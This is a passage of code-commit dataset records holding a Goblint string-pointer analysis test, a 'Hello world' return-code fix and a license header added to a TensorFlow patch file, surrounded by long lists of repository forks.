Troll\/root,jrtomps\/root,karies\/root,Y--\/root,dfunke\/root,mhuwiler\/rootauto,simonpf\/root,esakellari\/my_root_for_test,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,zzxuanyuan\/root,gganis\/root,gganis\/root,Duraznos\/root,veprbl\/root,sawenzel\/root,agarciamontoro\/root,omazapa\/root-old,BerserkerTroll\/root,CristinaCristescu\/root,gbitzes\/root,krafczyk\/root,thomaskeck\/root,buuck\/root,lgiommi\/root,georgtroska\/root,gganis\/root,mhuwiler\/rootauto,mattkretz\/root,nilqed\/root,mkret2\/root,sbinet\/cxx-root,beniz\/root,perovic\/root,davidlt\/root,sirinath\/root,jrtomps\/root,karies\/root,jrtomps\/root,mkret2\/root,Y--\/root,smarinac\/root,sbinet\/cxx-root,evgeny-boger\/root,bbockelm\/root,zzxuanyuan\/root,Duraznos\/root,mhuwiler\/rootauto,omazapa\/root,nilqed\/root,bbockelm\/root,karies\/root,agarciamontoro\/root,georgtroska\/root,gganis\/root,mhuwiler\/rootauto,sbinet\/cxx-root,karies\/root,0x0all\/ROOT,arch1tect0r\/root,sawenzel\/root,smarinac\/root,omazapa\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,buuck\/root,dfunke\/root,thomaskeck\/root,krafczyk\/root,Y--\/root,davidlt\/root,bbockelm\/root,0x0all\/ROOT,evgeny-boger\/root,jrtomps\/root,sawenzel\/root,Duraznos\/root,dfunke\/root,esakellari\/my_root_for_test,veprbl\/root,mkret2\/root,Duraznos\/root,satyarth934\/root,georgtroska\/root,buuck\/root,simonpf\/root,mattkretz\/root,dfunke\/root,Y--\/root,bbockelm\/root,arch1tect0r\/root,root-mirror\/root,CristinaCristescu\/root,omazapa\/root-old,sbinet\/cxx-root,Duraznos\/root,vukasinmilosevic\/root,abhinavmoudgil95\/root,thomaskeck\/root,agarciamontoro\/root,olifre\/root,esakellari\/root,karies\/root,dfunke\/root,krafczyk\/root,mattkretz\/root,smarinac\/root,georgtroska\/root,evgeny-boger\/root,simonpf\/root,olifre\/root,smarinac\/root,esakellari\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,olifre\/root,vukasinmilosevic\/root,esakellari\/my_root_for_test,georgtroska\/root,omazapa\/root,omazapa\/root,root-mirror\/root,CristinaCristescu\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,krafczyk\/root,buuck\/root,omazapa\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,CristinaCristescu\/root,esakellari\/root"}
{"commit":"d40350537af78198fe04838d5d91b06fc79a9ff6","old_file":"tests\/regression\/02-base\/88-strings.c","new_file":"tests\/regression\/02-base\/88-strings.c","old_contents":"","new_contents":"#include <assert.h>\n#include <stdlib.h>\n\nint main(){\n    char* str = \"Hello\";\n    char* str2 = \"Hello\";\n    char* str3 = \"hi\";\n    char* str4 = \"other string\";\n\n    \/\/ Unknown since the there may be multiple copies of the same string\n    __goblint_check(str != str2); \/\/ UNKNOWN!\n\n    __goblint_check(str == str);\n    __goblint_check(str != str3);\n\n    char *ptr = NULL;\n    int top = rand();\n\n    if(top){\n        ptr = str2;\n    } else {\n        ptr = str3;\n    }\n    __goblint_check(*ptr == *str); \/\/UNKNOWN\n\n    \/\/ This is unknwon due to only keeping one string pointer in abstract address sets\n    __goblint_check(*ptr == *str4); \/\/UNKNOWN\n\n\n    return 0;\n}\n","subject":"Add test for string pointer analysis","message":"Add test for string pointer analysis\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"2259c582f031fefe09792543f89da286245f6a88","old_file":"data\/main.c","new_file":"data\/main.c","old_contents":"#include <stdio.h>\n\nint main()\n{\n  printf(\"Hello, world!\\n\");\n}\n","new_contents":"#include <stdio.h>\n\nint main()\n{\n  printf(\"Hello, world!\\n\");\n\n  return 0;\n}\n","subject":"Add proper return code to test software.","message":"Add proper return code to test software.\n","lang":"C","license":"bsd-3-clause","repos":"jlisee\/cbd,jlisee\/cbd,jlisee\/cbd"}
{"commit":"d97c2ad2b6e72aaae9da297212e90cb7576fa79e","old_file":"tensorflow\/contrib\/cmake\/patches\/gif\/unistd.h","new_file":"tensorflow\/contrib\/cmake\/patches\/gif\/unistd.h","old_contents":"","new_contents":"\/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n","subject":"Add licenses to empty files. Change: 137204888","message":"Add licenses to empty files.\nChange: 137204888\n","lang":"C","license":"apache-2.0","repos":"paolodedios\/tensorflow,manjunaths\/tensorflow,allenlavoie\/tensorflow,strint\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,gunan\/tensorflow,mdrumond\/tensorflow,jwlawson\/tensorflow,HKUST-SING\/tensorflow,pavelchristof\/gomoku-ai,unsiloai\/syntaxnet-ops-hack,xzturn\/tensorflow,petewarden\/tensorflow,hfp\/tensorflow-xsmm,LUTAN\/tensorflow,alisidd\/tensorflow,dyoung418\/tensorflow,sjperkins\/tensorflow,dongjoon-hyun\/tensorflow,benoitsteiner\/tensorflow-xsmm,jhseu\/tensorflow,asimshankar\/tensorflow,hfp\/tensorflow-xsmm,jhaux\/tensorflow,Bismarrck\/tensorflow,elingg\/tensorflow,scenarios\/tensorflow,AnishShah\/tensorflow,jendap\/tensorflow,aldian\/tensorflow,aam-at\/tensorflow,DavidNorman\/tensorflow,MycChiu\/tensorflow,nikste\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,johndpope\/tensorflow,manipopopo\/tensorflow,dongjoon-hyun\/tensorflow,scenarios\/tensorflow,aselle\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,mixturemodel-flow\/tensorflow,vrv\/tensorflow,sandeepgupta2k4\/tensorflow,tensorflow\/tensorflow,drpngx\/tensorflow,hsaputra\/tensorflow,scenarios\/tensorflow,ychfan\/tensorflow,seanli9jan\/tensorflow,cancan101\/tensorflow,yanchen036\/tensorflow,nikste\/tensorflow,girving\/tensorflow,Bulochkin\/tensorflow_pack,hfp\/tensorflow-xsmm,memo\/tensorflow,seanli9jan\/tensorflow,martinwicke\/tensorflow,yongtang\/tensorflow,calebfoss\/tensorflow,cxxgtxy\/tensorflow,cancan101\/tensorflow,gunan\/tensorflow,HKUST-SING\/tensorflow,benoitsteiner\/tensorflow,lukeiwanski\/tensorflow-opencl,ychfan\/tensorflow,sandeepdsouza93\/TensorFlow-15712,bowang\/tensorflow,ishay2b\/tensorflow,alistairlow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,snnn\/tensorflow,tensorflow\/tensorflow,with-git\/tensorflow,sandeepdsouza93\/TensorFlow-15712,renyi533\/tensorflow,Moriadry\/tensorflow,wangyum\/tensorflow,elingg\/tensorflow,ArtsiomCh\/tensorflow,eerwitt\/tensorflow,gibiansky\/tensorflow,rdipietro\/tensorflow,adamtiger\/tensorflow,nburn42\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,arborh\/tensorflow,jendap\/tensorflow,mortada\/tensorflow,eadgarchen\/tensorflow,abhitopia\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,caisq\/tensorflow,jhseu\/tensorflow,JingJunYin\/tensorflow,Mistobaan\/tensorflow,Kongsea\/tensorflow,whn09\/tensorflow,code-sauce\/tensorflow,admcrae\/tensorflow,tornadozou\/tensorflow,HKUST-SING\/tensorflow,sjperkins\/tensorflow,adit-chandra\/tensorflow,kchodorow\/tensorflow,ZhangXinNan\/tensorflow,Xeralux\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,mengxn\/tensorflow,laosiaudi\/tensorflow,lukeiwanski\/tensorflow-opencl,handroissuazo\/tensorflow,mixturemodel-flow\/tensorflow,gunan\/tensorflow,gojira\/tensorflow,horance-liu\/tensorflow,jart\/tensorflow,RapidApplicationDevelopment\/tensorflow,johndpope\/tensorflow,renyi533\/tensorflow,nburn42\/tensorflow,lukeiwanski\/tensorflow-opencl,Intel-tensorflow\/tensorflow,ppwwyyxx\/tensorflow,girving\/tensorflow,manjunaths\/tensorflow,ravindrapanda\/tensorflow,ZhangXinNan\/tensorflow,ArtsiomCh\/tensorflow,yongtang\/tensorflow,dendisuhubdy\/tensorflow,benoitsteiner\/tensorflow,chemelnucfin\/tensorflow,jhseu\/tensorflow,lukeiwanski\/tensorflow,mavenlin\/tensorflow,pcm17\/tensorflow,AnishShah\/tensorflow,Moriadry\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,maciekcc\/tensorflow,Bismarrck\/tensorflow,sjperkins\/tensorflow,jhseu\/tensorflow,yaroslavvb\/tensorflow,Bismarrck\/tensorflow,Xeralux\/tensorflow,jhaux\/tensorflow,dyoung418\/tensorflow,jhseu\/tensorflow,gunan\/tensorflow,benoitsteiner\/tensorflow-opencl,hsaputra\/tensorflow,hehongliang\/tensorflow,tomasreimers\/tensorflow-emscripten,gautam1858\/tensorflow,markslwong\/tensorflow,codrut3\/tensorflow,renyi533\/tensorflow,xodus7\/tensorflow,ghchinoy\/tensorflow,dongjoon-hyun\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,pavelchristof\/gomoku-ai,zasdfgbnm\/tensorflow,pcm17\/tensorflow,yanchen036\/tensorflow,vrv\/tensorflow,eadgarchen\/tensorflow,tomasreimers\/tensorflow-emscripten,nightjean\/Deep-Learning,ravindrapanda\/tensorflow,DCSaunders\/tensorflow,ZhangXinNan\/tensorflow,Xeralux\/tensorflow,gibiansky\/tensorflow,apark263\/tensorflow,pavelchristof\/gomoku-ai,gunan\/tensorflow,seaotterman\/tensorflow,davidzchen\/tensorflow,andrewcmyers\/tensorflow,alshedivat\/tensorflow,apark263\/tensorflow,dongjoon-hyun\/tensorflow,DavidNorman\/tensorflow,horance-liu\/tensorflow,strint\/tensorflow,eaplatanios\/tensorflow,HKUST-SING\/tensorflow,lukeiwanski\/tensorflow,cxxgtxy\/tensorflow,thesuperzapper\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,alsrgv\/tensorflow,JVillella\/tensorflow,manipopopo\/tensorflow,arborh\/tensorflow,alistairlow\/tensorflow,eadgarchen\/tensorflow,Carmezim\/tensorflow,SnakeJenny\/TensorFlow,sjperkins\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,rabipanda\/tensorflow,ghchinoy\/tensorflow,pavelchristof\/gomoku-ai,alivecor\/tensorflow,elingg\/tensorflow,alshedivat\/tensorflow,paolodedios\/tensorflow,gunan\/tensorflow,seaotterman\/tensorflow,DavidNorman\/tensorflow,DCSaunders\/tensorflow,chemelnucfin\/tensorflow,vrv\/tensorflow,ghchinoy\/tensorflow,eaplatanios\/tensorflow,sandeepgupta2k4\/tensorflow,aldian\/tensorflow,AnishShah\/tensorflow,Kongsea\/tensorflow,vrv\/tensorflow,MycChiu\/tensorflow,tornadozou\/tensorflow,manipopopo\/tensorflow,with-git\/tensorflow,jostep\/tensorflow,tensorflow\/tensorflow,calebfoss\/tensorflow,nightjean\/Deep-Learning,ville-k\/tensorflow,av8ramit\/tensorflow,strint\/tensorflow,ran5515\/DeepDecision,allenlavoie\/tensorflow,taknevski\/tensorflow-xsmm,tomasreimers\/tensorflow-emscripten,aselle\/tensorflow,xzturn\/tensorflow,AnishShah\/tensorflow,jwlawson\/tensorflow,annarev\/tensorflow,freedomtan\/tensorflow,ran5515\/DeepDecision,ibmsoe\/tensorflow,theflofly\/tensorflow,karllessard\/tensorflow,theflofly\/tensorflow,laosiaudi\/tensorflow,lakshayg\/tensorflow,mengxn\/tensorflow,apark263\/tensorflow,apark263\/tensorflow,jalexvig\/tensorflow,lakshayg\/tensorflow,ravindrapanda\/tensorflow,gibiansky\/tensorflow,jalexvig\/tensorflow,lukeiwanski\/tensorflow,vrv\/tensorflow,davidzchen\/tensorflow,jhaux\/tensorflow,dendisuhubdy\/tensorflow,ishay2b\/tensorflow,ychfan\/tensorflow,kobejean\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,dancingdan\/tensorflow,av8ramit\/tensorflow,brchiu\/tensorflow,anilmuthineni\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Xeralux\/tensorflow,nightjean\/Deep-Learning,lukeiwanski\/tensorflow,yufengg\/tensorflow,ravindrapanda\/tensorflow,aldian\/tensorflow,asimshankar\/tensorflow,annarev\/tensorflow,tornadozou\/tensorflow,DavidNorman\/tensorflow,abhitopia\/tensorflow,zycdragonball\/tensorflow,tiagofrepereira2012\/tensorflow,davidzchen\/tensorflow,benoitsteiner\/tensorflow-xsmm,johndpope\/tensorflow,handroissuazo\/tensorflow,jbedorf\/tensorflow,jhaux\/tensorflow,ravindrapanda\/tensorflow,Intel-tensorflow\/tensorflow,caisq\/tensorflow,ppwwyyxx\/tensorflow,taknevski\/tensorflow-xsmm,SnakeJenny\/TensorFlow,hfp\/tensorflow-xsmm,benoitsteiner\/tensorflow,ZhangXinNan\/tensorflow,ishay2b\/tensorflow,markslwong\/tensorflow,AnishShah\/tensorflow,dancingdan\/tensorflow,zycdragonball\/tensorflow,pavelchristof\/gomoku-ai,haeusser\/tensorflow,Intel-tensorflow\/tensorflow,whn09\/tensorflow,thesuperzapper\/tensorflow,asadziach\/tensorflow,ychfan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,gnieboer\/tensorflow,MycChiu\/tensorflow,freedomtan\/tensorflow,markslwong\/tensorflow,ppwwyyxx\/tensorflow,aldian\/tensorflow,Mistobaan\/tensorflow,johndpope\/tensorflow,nanditav\/15712-TensorFlow,brchiu\/tensorflow,kobejean\/tensorflow,manazhao\/tf_recsys,jwlawson\/tensorflow,aam-at\/tensorflow,yufengg\/tensorflow,eerwitt\/tensorflow,unsiloai\/syntaxnet-ops-hack,eerwitt\/tensorflow,sandeepgupta2k4\/tensorflow,Bulochkin\/tensorflow_pack,asimshankar\/tensorflow,girving\/tensorflow,gojira\/tensorflow,ageron\/tensorflow,hsaputra\/tensorflow,mavenlin\/tensorflow,xodus7\/tensorflow,jbedorf\/tensorflow,krikru\/tensorflow-opencl,ville-k\/tensorflow,brchiu\/tensorflow,memo\/tensorflow,mdrumond\/tensorflow,caisq\/tensorflow,yanchen036\/tensorflow,Intel-Corporation\/tensorflow,hehongliang\/tensorflow,av8ramit\/tensorflow,horance-liu\/tensorflow,maciekcc\/tensorflow,aldian\/tensorflow,rdipietro\/tensorflow,gojira\/tensorflow,alsrgv\/tensorflow,yufengg\/tensorflow,dendisuhubdy\/tensorflow,cxxgtxy\/tensorflow,nanditav\/15712-TensorFlow,ravindrapanda\/tensorflow,Mistobaan\/tensorflow,adamtiger\/tensorflow,admcrae\/tensorflow,adit-chandra\/tensorflow,alivecor\/tensorflow,ghchinoy\/tensorflow,arborh\/tensorflow,dancingdan\/tensorflow,kchodorow\/tensorflow,jeffzheng1\/tensorflow,chris-chris\/tensorflow,rabipanda\/tensorflow,kevin-coder\/tensorflow-fork,guschmue\/tensorflow,aam-at\/tensorflow,manazhao\/tf_recsys,ppwwyyxx\/tensorflow,with-git\/tensorflow,yaroslavvb\/tensorflow,jhseu\/tensorflow,benoitsteiner\/tensorflow-xsmm,davidzchen\/tensorflow,krikru\/tensorflow-opencl,abhitopia\/tensorflow,benoitsteiner\/tensorflow-xsmm,yongtang\/tensorflow,nolanliou\/tensorflow,alshedivat\/tensorflow,horance-liu\/tensorflow,karllessard\/tensorflow,asadziach\/tensorflow,manipopopo\/tensorflow,DCSaunders\/tensorflow,drpngx\/tensorflow,jart\/tensorflow,llhe\/tensorflow,adit-chandra\/tensorflow,ibmsoe\/tensorflow,alisidd\/tensorflow,tongwang01\/tensorflow,AnishShah\/tensorflow,jostep\/tensorflow,codrut3\/tensorflow,lukeiwanski\/tensorflow-opencl,renyi533\/tensorflow,drpngx\/tensorflow,renyi533\/tensorflow,admcrae\/tensorflow,brchiu\/tensorflow,nikste\/tensorflow,allenlavoie\/tensorflow,ville-k\/tensorflow,alisidd\/tensorflow,aldian\/tensorflow,chemelnucfin\/tensorflow,calebfoss\/tensorflow,mortada\/tensorflow,dongjoon-hyun\/tensorflow,anilmuthineni\/tensorflow,brchiu\/tensorflow,martinwicke\/tensorflow,dyoung418\/tensorflow,arborh\/tensorflow,alshedivat\/tensorflow,benoitsteiner\/tensorflow-xsmm,haeusser\/tensorflow,kevin-coder\/tensorflow-fork,RapidApplicationDevelopment\/tensorflow,chemelnucfin\/tensorflow,ArtsiomCh\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gnieboer\/tensorflow,alshedivat\/tensorflow,chris-chris\/tensorflow,davidzchen\/tensorflow,xzturn\/tensorflow,brchiu\/tensorflow,johndpope\/tensorflow,RapidApplicationDevelopment\/tensorflow,mortada\/tensorflow,Moriadry\/tensorflow,thjashin\/tensorflow,rabipanda\/tensorflow,tiagofrepereira2012\/tensorflow,brchiu\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,xzturn\/tensorflow,LUTAN\/tensorflow,mengxn\/tensorflow,yanchen036\/tensorflow,SnakeJenny\/TensorFlow,gunan\/tensorflow,tongwang01\/tensorflow,rabipanda\/tensorflow,yongtang\/tensorflow,tntnatbry\/tensorflow,gojira\/tensorflow,hsaputra\/tensorflow,MycChiu\/tensorflow,alsrgv\/tensorflow,mixturemodel-flow\/tensorflow,admcrae\/tensorflow,abhitopia\/tensorflow,yongtang\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,alshedivat\/tensorflow,manjunaths\/tensorflow,yufengg\/tensorflow,sandeepgupta2k4\/tensorflow,elingg\/tensorflow,ageron\/tensorflow,jostep\/tensorflow,arborh\/tensorflow,a-doumoulakis\/tensorflow,ibmsoe\/tensorflow,alsrgv\/tensorflow,alheinecke\/tensorflow-xsmm,maciekcc\/tensorflow,nolanliou\/tensorflow,andrewcmyers\/tensorflow,tensorflow\/tensorflow,theflofly\/tensorflow,Intel-Corporation\/tensorflow,tiagofrepereira2012\/tensorflow,aselle\/tensorflow,meteorcloudy\/tensorflow,ppries\/tensorflow,dancingdan\/tensorflow,mixturemodel-flow\/tensorflow,ArtsiomCh\/tensorflow,lukeiwanski\/tensorflow,tntnatbry\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,annarev\/tensorflow,chemelnucfin\/tensorflow,lukeiwanski\/tensorflow,krikru\/tensorflow-opencl,alsrgv\/tensorflow,manazhao\/tf_recsys,adit-chandra\/tensorflow,nolanliou\/tensorflow,whn09\/tensorflow,jostep\/tensorflow,calebfoss\/tensorflow,Intel-tensorflow\/tensorflow,nburn42\/tensorflow,tornadozou\/tensorflow,Intel-tensorflow\/tensorflow,alisidd\/tensorflow,drpngx\/tensorflow,tomasreimers\/tensorflow-emscripten,tntnatbry\/tensorflow,Bulochkin\/tensorflow_pack,alivecor\/tensorflow,AndreasMadsen\/tensorflow,Bismarrck\/tensorflow,seaotterman\/tensorflow,AndreasMadsen\/tensorflow,jart\/tensorflow,martinwicke\/tensorflow,alshedivat\/tensorflow,hfp\/tensorflow-xsmm,girving\/tensorflow,yanchen036\/tensorflow,ghchinoy\/tensorflow,jwlawson\/tensorflow,drpngx\/tensorflow,with-git\/tensorflow,krikru\/tensorflow-opencl,yaroslavvb\/tensorflow,ran5515\/DeepDecision,sjperkins\/tensorflow,horance-liu\/tensorflow,anilmuthineni\/tensorflow,chenjun0210\/tensorflow,Bulochkin\/tensorflow_pack,a-doumoulakis\/tensorflow,thesuperzapper\/tensorflow,lukeiwanski\/tensorflow-opencl,Bulochkin\/tensorflow_pack,LUTAN\/tensorflow,bowang\/tensorflow,mortada\/tensorflow,arborh\/tensorflow,jart\/tensorflow,Kongsea\/tensorflow,llhe\/tensorflow,chemelnucfin\/tensorflow,ppries\/tensorflow,DCSaunders\/tensorflow,laszlocsomor\/tensorflow,allenlavoie\/tensorflow,alheinecke\/tensorflow-xsmm,freedomtan\/tensorflow,jhseu\/tensorflow,benoitsteiner\/tensorflow-xsmm,cancan101\/tensorflow,rdipietro\/tensorflow,a-doumoulakis\/tensorflow,cancan101\/tensorflow,nburn42\/tensorflow,eadgarchen\/tensorflow,eerwitt\/tensorflow,Moriadry\/tensorflow,pcm17\/tensorflow,snnn\/tensorflow,cxxgtxy\/tensorflow,ppwwyyxx\/tensorflow,nanditav\/15712-TensorFlow,adit-chandra\/tensorflow,jendap\/tensorflow,ychfan\/tensorflow,jwlawson\/tensorflow,adit-chandra\/tensorflow,ZhangXinNan\/tensorflow,handroissuazo\/tensorflow,SnakeJenny\/TensorFlow,DavidNorman\/tensorflow,gunan\/tensorflow,xodus7\/tensorflow,benoitsteiner\/tensorflow,dyoung418\/tensorflow,unsiloai\/syntaxnet-ops-hack,jart\/tensorflow,dongjoon-hyun\/tensorflow,xodus7\/tensorflow,kevin-coder\/tensorflow-fork,drpngx\/tensorflow,wangyum\/tensorflow,ishay2b\/tensorflow,tillahoffmann\/tensorflow,kobejean\/tensorflow,paolodedios\/tensorflow,lakshayg\/tensorflow,JVillella\/tensorflow,abhitopia\/tensorflow,kevin-coder\/tensorflow-fork,mengxn\/tensorflow,elingg\/tensorflow,chemelnucfin\/tensorflow,bowang\/tensorflow,ibmsoe\/tensorflow,sandeepdsouza93\/TensorFlow-15712,yongtang\/tensorflow,dendisuhubdy\/tensorflow,ppwwyyxx\/tensorflow,alshedivat\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,renyi533\/tensorflow,llhe\/tensorflow,gautam1858\/tensorflow,petewarden\/tensorflow,eadgarchen\/tensorflow,jbedorf\/tensorflow,jwlawson\/tensorflow,lakshayg\/tensorflow,ville-k\/tensorflow,dendisuhubdy\/tensorflow,DavidNorman\/tensorflow,Xeralux\/tensorflow,martinwicke\/tensorflow,with-git\/tensorflow,caisq\/tensorflow,manazhao\/tf_recsys,girving\/tensorflow,alshedivat\/tensorflow,ghchinoy\/tensorflow,frreiss\/tensorflow-fred,chenjun0210\/tensorflow,taknevski\/tensorflow-xsmm,kobejean\/tensorflow,kevin-coder\/tensorflow-fork,jwlawson\/tensorflow,alivecor\/tensorflow,Mistobaan\/tensorflow,Mazecreator\/tensorflow,dongjoon-hyun\/tensorflow,rdipietro\/tensorflow,Xeralux\/tensorflow,Intel-tensorflow\/tensorflow,mdrumond\/tensorflow,ychfan\/tensorflow,jhseu\/tensorflow,sandeepdsouza93\/TensorFlow-15712,ppries\/tensorflow,alsrgv\/tensorflow,mdrumond\/tensorflow,Mazecreator\/tensorflow,renyi533\/tensorflow,llhe\/tensorflow,eerwitt\/tensorflow,tntnatbry\/tensorflow,ychfan\/tensorflow,jbedorf\/tensorflow,jhseu\/tensorflow,HKUST-SING\/tensorflow,DCSaunders\/tensorflow,thjashin\/tensorflow,jendap\/tensorflow,ZhangXinNan\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,RapidApplicationDevelopment\/tensorflow,tntnatbry\/tensorflow,gojira\/tensorflow,eaplatanios\/tensorflow,chemelnucfin\/tensorflow,JVillella\/tensorflow,wangyum\/tensorflow,nikste\/tensorflow,scenarios\/tensorflow,codrut3\/tensorflow,thesuperzapper\/tensorflow,allenlavoie\/tensorflow,hsaputra\/tensorflow,jalexvig\/tensorflow,freedomtan\/tensorflow,horance-liu\/tensorflow,maciekcc\/tensorflow,mdrumond\/tensorflow,code-sauce\/tensorflow,eaplatanios\/tensorflow,whn09\/tensorflow,xzturn\/tensorflow,unsiloai\/syntaxnet-ops-hack,eadgarchen\/tensorflow,rabipanda\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,strint\/tensorflow,gojira\/tensorflow,taknevski\/tensorflow-xsmm,ArtsiomCh\/tensorflow,snnn\/tensorflow,tiagofrepereira2012\/tensorflow,Bismarrck\/tensorflow,jbedorf\/tensorflow,benoitsteiner\/tensorflow,gnieboer\/tensorflow,caisq\/tensorflow,girving\/tensorflow,davidzchen\/tensorflow,yaroslavvb\/tensorflow,aam-at\/tensorflow,nolanliou\/tensorflow,lukeiwanski\/tensorflow-opencl,nanditav\/15712-TensorFlow,codrut3\/tensorflow,seanli9jan\/tensorflow,chemelnucfin\/tensorflow,zasdfgbnm\/tensorflow,karllessard\/tensorflow,llhe\/tensorflow,Xeralux\/tensorflow,seaotterman\/tensorflow,aselle\/tensorflow,anilmuthineni\/tensorflow,yaroslavvb\/tensorflow,eaplatanios\/tensorflow,JingJunYin\/tensorflow,mortada\/tensorflow,yongtang\/tensorflow,arborh\/tensorflow,raymondxyang\/tensorflow,guschmue\/tensorflow,ppries\/tensorflow,codrut3\/tensorflow,Intel-tensorflow\/tensorflow,jart\/tensorflow,HKUST-SING\/tensorflow,alheinecke\/tensorflow-xsmm,Intel-Corporation\/tensorflow,adit-chandra\/tensorflow,ghchinoy\/tensorflow,frreiss\/tensorflow-fred,ArtsiomCh\/tensorflow,mavenlin\/tensorflow,ZhangXinNan\/tensorflow,mengxn\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,laszlocsomor\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,with-git\/tensorflow,ppries\/tensorflow,ravindrapanda\/tensorflow,zasdfgbnm\/tensorflow,girving\/tensorflow,raymondxyang\/tensorflow,nburn42\/tensorflow,benoitsteiner\/tensorflow,yaroslavvb\/tensorflow,jbedorf\/tensorflow,caisq\/tensorflow,abhitopia\/tensorflow,cancan101\/tensorflow,nanditav\/15712-TensorFlow,dendisuhubdy\/tensorflow,aam-at\/tensorflow,elingg\/tensorflow,xzturn\/tensorflow,theflofly\/tensorflow,thjashin\/tensorflow,ageron\/tensorflow,jalexvig\/tensorflow,AnishShah\/tensorflow,martinwicke\/tensorflow,taknevski\/tensorflow-xsmm,kobejean\/tensorflow,SnakeJenny\/TensorFlow,markslwong\/tensorflow,cxxgtxy\/tensorflow,HKUST-SING\/tensorflow,Bulochkin\/tensorflow_pack,haeusser\/tensorflow,renyi533\/tensorflow,av8ramit\/tensorflow,Mazecreator\/tensorflow,alshedivat\/tensorflow,lakshayg\/tensorflow,jhaux\/tensorflow,rabipanda\/tensorflow,odejesush\/tensorflow,eerwitt\/tensorflow,xzturn\/tensorflow,Mazecreator\/tensorflow,Kongsea\/tensorflow,Mazecreator\/tensorflow,ghchinoy\/tensorflow,jhaux\/tensorflow,nikste\/tensorflow,xzturn\/tensorflow,gojira\/tensorflow,karllessard\/tensorflow,chris-chris\/tensorflow,wangyum\/tensorflow,RapidApplicationDevelopment\/tensorflow,codrut3\/tensorflow,Carmezim\/tensorflow,mixturemodel-flow\/tensorflow,yanchen036\/tensorflow,seanli9jan\/tensorflow,raymondxyang\/tensorflow,yaroslavvb\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tongwang01\/tensorflow,nolanliou\/tensorflow,zasdfgbnm\/tensorflow,frreiss\/tensorflow-fred,kchodorow\/tensorflow,tensorflow\/tensorflow,aselle\/tensorflow,meteorcloudy\/tensorflow,benoitsteiner\/tensorflow,av8ramit\/tensorflow,tntnatbry\/tensorflow,jalexvig\/tensorflow,maciekcc\/tensorflow,freedomtan\/tensorflow,dongjoon-hyun\/tensorflow,tiagofrepereira2012\/tensorflow,apark263\/tensorflow,jeffzheng1\/tensorflow,krikru\/tensorflow-opencl,ibmsoe\/tensorflow,davidzchen\/tensorflow,seanli9jan\/tensorflow,anilmuthineni\/tensorflow,dongjoon-hyun\/tensorflow,zasdfgbnm\/tensorflow,aselle\/tensorflow,bowang\/tensorflow,laszlocsomor\/tensorflow,ville-k\/tensorflow,mixturemodel-flow\/tensorflow,manipopopo\/tensorflow,nightjean\/Deep-Learning,alistairlow\/tensorflow,laosiaudi\/tensorflow,andrewcmyers\/tensorflow,gnieboer\/tensorflow,abhitopia\/tensorflow,xzturn\/tensorflow,pcm17\/tensorflow,kchodorow\/tensorflow,Mazecreator\/tensorflow,hsaputra\/tensorflow,maciekcc\/tensorflow,manipopopo\/tensorflow,tomasreimers\/tensorflow-emscripten,jart\/tensorflow,suiyuan2009\/tensorflow,handroissuazo\/tensorflow,Kongsea\/tensorflow,AndreasMadsen\/tensorflow,aselle\/tensorflow,martinwicke\/tensorflow,jendap\/tensorflow,pcm17\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,gojira\/tensorflow,tillahoffmann\/tensorflow,dendisuhubdy\/tensorflow,apark263\/tensorflow,benoitsteiner\/tensorflow-xsmm,sjperkins\/tensorflow,dyoung418\/tensorflow,manjunaths\/tensorflow,jhaux\/tensorflow,brchiu\/tensorflow,wangyum\/tensorflow,AndreasMadsen\/tensorflow,handroissuazo\/tensorflow,pcm17\/tensorflow,AnishShah\/tensorflow,adit-chandra\/tensorflow,eadgarchen\/tensorflow,Moriadry\/tensorflow,jeffzheng1\/tensorflow,ishay2b\/tensorflow,rdipietro\/tensorflow,guschmue\/tensorflow,tornadozou\/tensorflow,Bismarrck\/tensorflow,manjunaths\/tensorflow,alsrgv\/tensorflow,frreiss\/tensorflow-fred,Intel-Corporation\/tensorflow,bowang\/tensorflow,petewarden\/tensorflow,odejesush\/tensorflow,jwlawson\/tensorflow,aselle\/tensorflow,dancingdan\/tensorflow,gautam1858\/tensor